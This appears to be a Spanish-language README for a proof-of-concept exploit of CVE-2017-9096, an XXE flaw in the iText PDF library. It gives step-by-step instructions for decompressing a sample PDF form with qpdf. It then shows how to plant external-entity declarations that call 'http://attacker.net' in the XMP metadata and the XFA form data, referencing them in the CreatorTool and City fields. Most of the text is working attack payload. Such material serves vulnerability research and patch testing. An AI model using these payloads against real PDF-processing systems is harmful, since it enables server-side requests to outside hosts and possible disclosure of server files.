
Prueba de concepto de explotación para CVE-2017-9096 que demuestra la inyección de Entidad Externa XML (XXE) en la biblioteca iText PDF mediante metadatos XMP maliciosos y campos de formulario.
Obtén un PDF que contenga un formulario:
wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmit_Example.pdf -O input.pdf
Para ello, debes descomprimir el PDF con qpdf --qdf --object-streams=disable input.pdf output.pdf y luego puedes editarlo con un editor de texto y agregar XML malicioso.
Puedes poner XEE en los metadatos XMP en la línea 77:
stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<!DOCTYPE foo [ <!ENTITY xxe2 SYSTEM "http://attacker.net" > ]>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c321 44.398116, Tue Aug 04 2009 14:24:39">
Y, por supuesto, coloca también la referencia en algún lugar, por ejemplo, en la línea 88:
<xap:CreatorTool>Adobe LiveCycle Designer 8.0 &xxe2;</xap:CreatorTool>
También puedes agregar un XXE común al archivo. Mira esta parte en el documento original (comienza en la línea 740):
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
Cámbialo a lo siguiente:
stream
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.net" > ]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
endstream
endobj
Luego, solo agrega la referencia a algún lugar, por ejemplo, al campo City (línea 1845 en el documento descomprimido original). Cambia esto:
<text
>City:</text
></value
>
A esto:
<text
>City:</text
><xxe>&xxe;</xxe></value
>
También puedes encontrar el PDF parcheado que contiene ambos XXE en este repositorio (output_with_xxe.pdf)
Ejecuta la aplicación Java para probar el PDF con mvn clean compile exec:java.